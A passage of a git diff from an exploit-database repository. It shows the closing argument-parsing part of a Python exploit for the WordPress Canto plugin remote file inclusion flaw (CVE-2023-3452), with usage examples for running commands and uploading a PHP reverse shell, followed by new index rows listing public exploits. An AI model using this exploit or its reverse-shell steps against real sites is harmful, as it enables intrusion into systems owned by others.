server...") + server_thread.join() + +if __name__ == "__main__": + examples = ''' + Examples: + - Check the vulnerability + python3 CVE-2023-3452.py -u http://192.168.1.142 -LHOST 192.168.1.33 + + - Execute a command + python3 CVE-2023-3452.py -u http://192.168.1.142 -LHOST 192.168.1.33 -c 'id' + + - Upload and run a reverse shell file. You can download it from https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php or generate it with msfvenom. + python3 CVE-2023-3452.py -u http://192.168.1.142 -LHOST 192.168.1.33 -s php-reverse-shell.php + ''' + parser = argparse.ArgumentParser(description="Script to exploit the Remote File Inclusion vulnerability in the Canto plugin for WordPress - CVE-2023-3452", epilog=examples, formatter_class=argparse.RawDescriptionHelpFormatter) + parser.add_argument("-u", "--url", required=True, default=None, help="Vulnerable URL") + parser.add_argument("-s", "--shell", help="Local file for web shell") + parser.add_argument("-LHOST", "--local_host", required=True, help="Local web server IP") + parser.add_argument("-LPORT", "--local_port", help="Local web server port") + parser.add_argument("-c", "--command", default="whoami", help="Command to execute on the target") + parser.add_argument("-NC_PORT", "--nc_port", type=int, help="Listener port for netcat") + + try: + args = parser.parse_args() + + if args.local_port is None: + args.local_port = 8080 # Valor predeterminado si LPORT no se proporciona + exploit_rfi(args.url, args.shell, args.local_host, int(args.local_port), args.command, args.nc_port) + + except SystemExit: + parser.print_help() \ No newline at end of file diff --git a/files_exploits.csv b/files_exploits.csv index 90c923595..84e5dc63a 100644 --- a/files_exploits.csv +++ b/files_exploits.csv @@ -3939,6 +3939,8 @@ id,file,description,date_published,author,type,platform,port,date_added,date_upd 6750,exploits/hardware/remote/6750.txt,"Telecom Italia Alice Pirelli routers - Backdoor from internal LAN/WAN",2008-10-14,"saxdax & drpepperONE",remote,hardware,,2008-10-13,,1,OSVDB-49193,,,,, 50948,exploits/hardware/remote/50948.py,"Telesquare SDT-CW3B1 1.1.0 - OS Command Injection",2022-06-03,"Bryan Leong",remote,hardware,,2022-06-03,2022-06-03,0,CVE-2021-46422,,,,, 21513,exploits/hardware/remote/21513.c,"Telindus 1100 Series Router - Administration Password Leak",2002-06-05,rubik,remote,hardware,,2002-06-05,2012-09-24,1,CVE-2002-0949;OSVDB-4766,,,,,https://www.securityfocus.com/bid/4946/info +51827,exploits/hardware/remote/51827.txt,"TEM Opera Plus FM Family Transmitter 35.45 - Remote Code Execution",2024-02-27,LiquidWorm,remote,hardware,,2024-02-27,2024-02-27,0,,,,,, +51828,exploits/hardware/remote/51828.txt,"TEM Opera Plus FM Family Transmitter 35.45 - XSRF",2024-02-27,LiquidWorm,remote,hardware,,2024-02-27,2024-02-27,0,,,,,, 44253,exploits/hardware/remote/44253.py,"Tenda AC15 Router - Remote Code Execution",2018-02-14,"Tim Carrington",remote,hardware,,2018-03-06,2018-03-06,0,CVE-2018-5767,,,http://www.exploit-db.com/screenshots/idlt44500/rootshell.png,,https://www.fidusinfosec.com/remote-code-execution-cve-2018-5767/ 49782,exploits/hardware/remote/49782.py,"Tenda D151 & D301 - Configuration Download (Unauthenticated)",2021-04-21,BenChaliah,remote,hardware,,2021-04-21,2021-04-21,0,,,,,, 50916,exploits/hardware/remote/50916.txt,"Tenda HG6 v3.3.0 - Remote Command Injection",2022-05-11,LiquidWorm,remote,hardware,,2022-05-11,2022-05-11,0,,,,,, @@ -10810,6 +10812,7 @@ id,file,description,date_published,author,type,platform,port,date_added,date_upd 20869,exploits/multiple/remote/20869.html,"eSafe Gateway 2.1 - Script-filtering Bypass",2001-05-20,"eDvice Security Services",remote,multiple,,2001-05-20,2012-08-28,1,CVE-2001-0520;OSVDB-7640,,,,,https://www.securityfocus.com/bid/2750/info 39115,exploits/multiple/remote/39115.py,"ET - Chat Password Reset Security Bypass",2014-03-09,IRH,remote,multiple,,2014-03-09,2015-12-28,1,,,,,,https://www.securityfocus.com/bid/66149/info 3555,exploits/multiple/remote/3555.pl,"Ethernet Device Drivers Frame Padding - 'Etherleak' Infomation Leakage",2007-03-23,"Jon Hart",remote,multiple,,2007-03-22,2017-04-13,1,CVE-2003-0001,,Etherleak,,, +51825,exploits/multiple/remote/51825.txt,"Executables Created with perl2exe < V30.10C - Arbitrary Code Execution",2024-02-27,decrazyo,remote,multiple,,2024-02-27,2024-02-27,0,,,,,, 20234,exploits/multiple/remote/20234.txt,"extent technologies rbs isp 2.5 - Directory Traversal",2000-09-21,anon,remote,multiple,8002,2000-09-21,2012-08-04,1,CVE-2000-1036;OSVDB-420,,,,,https://www.securityfocus.com/bid/1704/info 48169,exploits/multiple/remote/48169.rb,"EyesOfNetwork - AutoDiscovery Target Command Execution (Metasploit)",2020-03-05,Metasploit,remote,multiple,,2020-03-05,2020-03-05,1,CVE-2020-8657;CVE-2020-8656;CVE-2020-8655;CVE-2020-8654,"Metasploit Framework (MSF)",,,,https://raw.githubusercontent.com/rapid7/metasploit-framework/master/modules/exploits/linux/http/eyesofnetwork_autodiscovery_rce.rb 50932,exploits/multiple/remote/50932.py,"F5 BIG-IP 16.0.x - Remote Code Execution (RCE)",2022-05-12,"Yesith Alvarez",remote,multiple,,2022-05-12,2022-05-12,0,CVE-2022-1388,,,,, @@ -11658,6 +11661,7 @@ id,file,description,date_published,author,type,platform,port,date_added,date_upd 24915,exploits/multiple/webapps/24915.txt,"Aspen 0.8 - Directory Traversal",2013-04-02,"Daniel Ricardo dos Santos",webapps,multiple,,2013-04-02,2013-04-02,1,CVE-2013-2619;OSVDB-91895,,,http://www.exploit-db.com/screenshots/idlt25000/screen-shot-2013-04-02-at-93955-am.png,http://www.exploit-db.comaspen-0.8.tgz, 12133,exploits/multiple/webapps/12133.txt,"Asset Manager 1.0 - Arbitrary File Upload",2010-04-09,"Shichemt Alen & NeT_Own3r",webapps,multiple,,2010-04-08,,0,,,,,, 37791,exploits/multiple/webapps/37791.txt,"Atlassian Confluence 3.4.x - Error Page Cross-Site Scripting",2012-09-12,"D. Niedermaier",webapps,multiple,,2012-09-12,2015-08-16,1,OSVDB-126486,,,,,https://www.securityfocus.com/bid/55509/info +51829,exploits/multiple/webapps/51829.rb,"Atlassian Confluence Data Center and Server - Authentication Bypass (Metasploit)",2024-02-27,"Emir Polat",webapps,multiple,,2024-02-27,2024-02-27,0,,,,,, 49465,exploits/multiple/webapps/49465.py,"Atlassian Confluence Widget Connector Macro - SSTI",2021-01-22,46o60,webapps,multiple,,2021-01-22,2021-01-22,0,CVE-2019-3396,,,,, 49633,exploits/multiple/webapps/49633.py,"Atlassian JIRA 8.11.1 - User Enumeration",2021-03-10,"Dolev Farhi",webapps,multiple,,2021-03-10,2021-03-10,0,CVE-2020-14181,,,,, 49924,exploits/multiple/webapps/49924.py,"Atlassian Jira 8.15.0 - Information Disclosure (Username Enumeration)",2021-06-01,"Mohammed Aloraimi",webapps,multiple,,2021-06-01,2021-06-01,0,,,,,, @@ -14377,6 +14381,8 @@ id,file,description,date_published,author,type,platform,port,date_added,date_upd 35645,exploits/php/webapps/35645.txt,"Automagick Tube Script 1.4.4 - 'module' Cross-Site Scripting",2011-04-20,Kurd-Team,webapps,php,,2011-04-20,2014-12-29,1,,,,,,https://www.securityfocus.com/bid/47519/info 41302,exploits/php/webapps/41302.txt,"Automated Job Portal Script - SQL Injection",2017-02-10,"Ihsan Sencan",webapps,php,,2017-02-10,2017-02-10,0,,,,,, 8904,exploits/php/webapps/8904.txt,"Automated link exchange portal 1.3 - Multiple Vulnerabilities",2009-06-08,TiGeR-Dz,webapps,php,,2009-06-07,,1,,,,,, +51823,exploits/php/webapps/51823.txt,"Automatic-Systems SOC FL9600 FastLine - Directory Transversal",2024-02-27,"Marcin Kozlowski",webapps,php,,2024-02-27,2024-02-27,0,,,,,, +51824,exploits/php/webapps/51824.txt,"Automatic-Systems SOC FL9600 FastLine - The device contains hardcoded login and password for super admin",2024-02-27,"Marcin Kozlowski",webapps,php,,2024-02-27,2024-02-27,0,,,,,, 10421,exploits/php/webapps/10421.txt,"Automne.ws CMS 4.0.0rc2 - Multiple Remote File Inclusions",2009-12-14,"1nd0n3s14n l4m3r",webapps,php,,2009-12-13,,0,,,,,http://www.exploit-db.comautomne4-v4_0_0rc3-install.tar.gz, 1654,exploits/php/webapps/1654.txt,"autonomous lan party 0.98.1.0 - Remote File Inclusion",2006-04-09,Codexploder,webapps,php,,2006-04-08,2016-07-07,1,,,,,http://www.exploit-db.comalp_0-98-1-0_29jan2006.zip, 9460,exploits/php/webapps/9460.txt,"autonomous lan party 0.98.3 - Remote File Inclusion",2009-08-18,cr4wl3r,webapps,php,,2009-08-17,,1,OSVDB-57180,,,,, @@ -16715,6 +16721,7 @@ id,file,description,date_published,author,type,platform,port,date_added,date_upd 30303,exploits/php/webapps/30303.txt,"Dating Gold 3.0.5 - 'secure.admin.php?int_path' Remote File Inclusion",2007-07-13,mostafa_ragab,webapps,php,,2007-07-13,2013-12-15,1,CVE-2007-3792;OSVDB-36264,,,,,https://www.securityfocus.com/bid/24910/info 39586,exploits/php/webapps/39586.txt,"Dating Pro Genie 2015.7 - Cross-Site Request Forgery",2016-03-21,"High-Tech Bridge SA",webapps,php,80,2016-03-21,2016-03-21,0,,,,,,https://www.htbridge.com/advisory/HTB23294 41027,exploits/php/webapps/41027.txt,"Dating Script 3.25 - SQL Injection",2017-01-11,"Dawid Morawski",webapps,php,,2017-01-11,2017-01-11,0,,,,,, +51818,exploits/php/webapps/51818.txt,"dawa-pharma 1.0-2022 - Multiple-SQLi",2024-02-27,nu11secur1ty,webapps,php,,2024-02-27,2024-02-27,0,,,,,, 3478,exploits/php/webapps/3478.html,"Dayfox Blog 4 - 'postpost.php' Remote Code Execution",2007-03-14,Dj7xpl,webapps,php,,2007-03-13,,1,OSVDB-34073;CVE-2007-1525,,,,, 6203,exploits/php/webapps/6203.txt,"Dayfox Blog 4 - Multiple Local File Inclusions",2008-08-04,"Virangar Security",webapps,php,,2008-08-03,,1,OSVDB-47438;CVE-2008-3564,,,,, 5347,exploits/php/webapps/5347.txt,"DaZPHP 0.1 - 'prefixdir' Local File Inclusion",2008-04-02,w0cker,webapps,php,,2008-04-01,2016-11-17,1,OSVDB-43998;CVE-2008-1696,,,,, @@ -23656,6 +23663,8 @@ id,file,description,date_published,author,type,platform,port,date_added,date_upd 49814,exploits/php/webapps/49814.txt,"Moodle 3.6.1 - Persistent Cross-Site Scripting (XSS)",2021-04-30,"Fariskhi Vidyan",webapps,php,,2021-04-30,2021-04-30,0,CVE-2019-3810,,,,, 49114,exploits/php/webapps/49114.txt,"Moodle 3.8 - Unrestricted File Upload",2020-11-27,"Sirwan Veisi",webapps,php,,2020-11-27,2020-11-27,0,,,,,, 50180,exploits/php/webapps/50180.py,"Moodle 3.9 - Remote Code Execution (RCE) (Authenticated)",2021-08-05,lanz,webapps,php,,2021-08-05,2021-08-05,0,,,,,, +51820,exploits/php/webapps/51820.txt,"Moodle 4.3 - Insecure Direct Object Reference",2024-02-27,tmrswrr,webapps,php,,2024-02-27,2024-02-27,0,,,,,, +51821,exploits/php/webapps/51821.txt,"Moodle 4.3 - Reflected XSS",2024-02-27,tmrswrr,webapps,php,,2024-02-27,2024-02-27,0,,,,,, 8297,exploits/php/webapps/8297.txt,"Moodle < 1.6.9/1.7.7/1.8.9/1.9.5 - File Disclosure",2009-03-27,"Christian J. Eibl",webapps,php,,2009-03-26,,1,OSVDB-52998;CVE-2009-1171,,,,, 28770,exploits/php/webapps/28770.txt,"Moodle Blog 1.18.2.2/1.6.2 Module - SQL Injection",2006-10-08,disfigure,webapps,php,,2006-10-08,2013-10-07,1,CVE-2006-5219;OSVDB-29573,,,,,https://www.securityfocus.com/bid/20395/info 47177,exploits/php/webapps/47177.txt,"Moodle Filepicker 3.5.2 - Server Side Request Forgery",2019-07-26,"Fabian Mosch_ Nick Theisinger",webapps,php,80,2019-07-26,2019-07-26,0,CVE-2018-1042,"Server-Side Request Forgery (SSRF)",,,http://www.exploit-db.commoodle-3.5.2.tar.gz, @@ -30382,6 +30391,7 @@ id,file,description,date_published,author,type,platform,port,date_added,date_upd 8869,exploits/php/webapps/8869.txt,"Supernews 2.6 - 'index.php?noticia' SQL Injection",2009-06-03,DD3str0y3r,webapps,php,,2009-06-02,,1,,,,,, 18961,exploits/php/webapps/18961.txt,"Supernews 2.6.1 - 'noticias.php?cat' SQL Injection",2012-05-31,"Yakir Wizman",webapps,php,,2012-05-31,2012-05-31,1,OSVDB-82416,,,,http://www.exploit-db.comSuperNews-2.6.1.zip, 18913,exploits/php/webapps/18913.php,"Supernews 2.6.1 - SQL Injection",2012-05-21,WhiteCollarGroup,webapps,php,,2012-05-21,2012-05-22,1,OSVDB-82310;OSVDB-82309;OSVDB-82308,,,http://www.exploit-db.com/screenshots/idlt19000/screen-shot-2012-05-22-at-75838-am.png,http://www.exploit-db.comSuperNews-2.6.1.zip, +51822,exploits/php/webapps/51822.txt,"SuperStoreFinder - Multiple Vulnerabilities",2024-02-27,bRpsd,webapps,php,,2024-02-27,2024-02-27,0,,,,,, 49239,exploits/php/webapps/49239.txt,"Supply Chain Management System - Auth Bypass SQL Injection",2020-12-11,"Piyush Malviya",webapps,php,,2020-12-11,2020-12-11,0,,,,,, 50294,exploits/php/webapps/50294.txt,"Support Board 3.3.3 - 'Multiple' SQL Injection (Unauthenticated)",2021-09-15,"John Jefferson Li",webapps,php,,2021-09-15,2021-09-15,0,,,,,, 50419,exploits/php/webapps/50419.txt,"Support Board 3.3.4 - 'Message' Stored Cross-Site Scripting (XSS)",2021-10-18,"John Jefferson Li",webapps,php,,2021-10-18,2021-10-18,0,,,,,, @@ -32857,6 +32867,7 @@ id,file,description,date_published,author,type,platform,port,date_added,date_upd 36230,exploits/php/webapps/36230.txt,"WordPress Plugin Calculated Fields Form 1.0.10 - SQL Injection",2015-03-02,"Ibrahim Raafat",webapps,php,,2015-03-05,2015-03-05,0,OSVDB-119606,"WordPress Plugin",,,, 44489,exploits/php/webapps/44489.txt,"WordPress Plugin Caldera Forms 1.5.9.1 - Cross-Site Scripting",2018-04-18,"Federico Scalco",webapps,php,80,2018-04-18,2018-04-18,0,CVE-2018-7747,"Cross-Site Scripting (XSS)",,,http://www.exploit-db.comCaldera-Forms-1.5.9.1.zip, 37754,exploits/php/webapps/37754.txt,"WordPress Plugin Candidate Application Form 1.0 - Arbitrary File Download",2015-08-10,"Larry W. Cashdollar",webapps,php,80,2015-08-10,2015-08-10,0,OSVDB-124797,"WordPress Plugin",,,, +51826,exploits/php/webapps/51826.py,"Wordpress Plugin Canto < 3.0.5 - Remote File Inclusion (RFI) and Remote Code Execution (RCE)",2024-02-27,"Leopoldo Angulo (leoanggal1)",webapps,php,,2024-02-27,2024-02-27,0,,,,,, 43012,exploits/php/webapps/43012.txt,"WordPress Plugin Car Park Booking - SQL Injection",2017-10-17,8bitsec,webapps,php,,2017-10-18,2017-10-28,0,,,,,, 41920,exploits/php/webapps/41920.txt,"WordPress Plugin Car Rental System 2.5 - SQL Injection",2017-04-25,"TAD GROUP",webapps,php,80,2017-04-25,2018-10-12,0,,"SQL Injection (SQLi)",,,, 28959,exploits/php/webapps/28959.txt,"WordPress Plugin Cart66 1.5.1.14 - Multiple Vulnerabilities",2013-10-14,absane,webapps,php,80,2013-10-14,2013-10-14,1,CVE-2013-5978;OSVDB-98353;CVE-2013-5977;OSVDB-98352,"WordPress Plugin",,,http://www.exploit-db.comcart66-lite.1.5.1.14.zip, @@ -34696,6 +34707,7 @@ id,file,description,date_published,author,type,platform,port,date_added,date_upd 49501,exploits/php/webapps/49501.txt,"Zoo Management System 1.0 - 'anid' SQL Injection",2021-02-01,"Zeyad Azima",webapps,php,,2021-02-01,2021-02-01,0,,,,,, 50117,exploits/php/webapps/50117.txt,"Zoo Management System 1.0 - 'Multiple' Persistent Cross-Site-Scripting (XSS)",2021-07-09,"Subhadip Nag",webapps,php,,2021-07-09,2021-10-29,0,,,,,, 48880,exploits/php/webapps/48880.txt,"Zoo Management System 1.0 - Authentication Bypass",2020-10-15,"Jyotsna Adhana",webapps,php,,2020-10-15,2020-10-15,0,,,,,, +51819,exploits/php/webapps/51819.txt,"Zoo Management System 1.0 - Unauthenticated RCE",2024-02-27,"Çağatay Ceyhan",webapps,php,,2024-02-27,2024-02-27,0,,,,,, 25379,exploits/php/webapps/25379.txt,"Zoom Media Gallery 2.1.2 - 'index.php' SQL Injection",2005-04-11,"Andreas Constantinides",webapps,php,,2005-04-11,2013-05-12,1,CVE-2005-1079;OSVDB-15475,,,,,https://www.securityfocus.com/bid/13094/info 2420,exploits/php/webapps/2420.txt,"ZoomStats 1.0.2 - 'mysql.php' Remote File Inclusion",2006-09-24,Drago84,webapps,php,,2006-09-23,2016-09-09,1,OSVDB-31431;CVE-2006-5065,,,,http://www.exploit-db.comZoomStats-v1.0.2.zip, 15354,exploits/php/webapps/15354.txt,"Zoopeer 0.1/0.2 - 'FCKeditor' Arbitrary File Upload",2010-10-30,Net.Edit0r,webapps,php,,2010-10-30,2010-10-30,0,,,,,,